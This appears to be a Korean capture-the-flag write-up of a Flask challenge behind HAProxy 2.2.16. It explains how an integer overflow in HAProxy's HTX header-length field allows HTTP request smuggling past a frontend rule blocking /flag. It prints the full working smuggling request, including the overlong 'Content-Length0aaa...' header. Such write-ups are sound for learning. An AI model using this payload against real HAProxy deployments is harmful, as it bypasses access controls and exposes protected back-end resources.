
python flask 애플리케이션이다. 첨부된 코드 중 docker-compose.yml 파일 속엔 haproxy 2.2.16 버전을 사용한다고 명시되어있다. 또한 haproxy.cfg 파일에는 front-end 서버 선에서 특정 경로에 대한 접근을 차단 하며 http 통신을 재사용(reuse) 한다.
frontend web
bind *:8000
http-request deny if { path_beg /flag }
http-request deny if { path_beg // }
default_backend websrvs
backend websrvs
http-reuse always
server srv1 flask:5000
실제로 /flag 경로에 접근해보면 403 에러가 발생하는 것을 알 수 있다. 여기서 풀어 나가야 할 방향을 잡을 수 있었다.
HTTP Request Smuggling 공격은 숨겨진 요청을 back-end로 보내어, 다음 정상 요청이 들어왔을 때 해당 요청의 결과를 숨겨진 요청의 결과로 바꾸는 공격이다. 문제 상황에서 원하는 시나리오는 아래와 같다.
haproxy의 해당 버전은 integer overflow 를 통해 HTTP Request Smuggling이 가능하다. haproxy는 요청을 받으면, 요소를 파싱하는 과정에서 HTX 라는 구조를 사용한다. 정보를 저장하는 block의 info 필드는 헤더 이름의 길이(1 byte)와 값의 길이가 담긴다. 여기서 헤더 이름 부분을 이용하여 Request Smuggling을 진행하였다.
1) Content-Length: 54
2) Content-LengthAA...AAA:
정상적인 1 의 경우는 헤더 이름 Content-Length 의 길이가 14 (0b00001110) 가 되지만 2 의 경우 270 (0b100001110) 길이를 넣어, 1byte의 기준 크기를 넘어 선다. 이는 front-end 에서는 비정상 헤더로 처리가 되겠지만, 파싱을 거친 후 integer overflow 가 일어나 270 길이가 아닌 14길이로 남게 된다. back-end 에서는 결국 Content-Length: 0 과같이 전달받는다.
POST / HTTP/1.1
Host: web.h4ckingga.me:10008
Content-Type: application/x-www-form-urlencoded
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 54
GET /flag HTTP/1.1
Host: web.h4ckingga.me:10008
x: x
위와같은 요청을 보내면, front-end 는 GET /flag HTTP/1.1 아래 부분을 정상적으로 back-end로 넘기게 된다. 하지만, back-end 에서는 앞서 비정상 처리 되었던 Content-Length0a...aaa 를 정상적으로 인식하며 데이터로 보낸 GET /flag HTTP/1.1 의 내용을 새로운 요청의 일부로 받아들이게 된다. 그리하여, 다음 요청이 들어오면 공격자의 의도대로 /flag 페이지의 응답이 나온다.

HTTP Request Smuggling에 관심이 쏠리던 요즘, 정말 시간 가는줄 모르고 풀었던 문제다. 기본적인 개념 뿐만 아니라, 이를 수행하는 자체 오류도 알아야 하기에 난이도는 꽤 높다고 느껴졌다.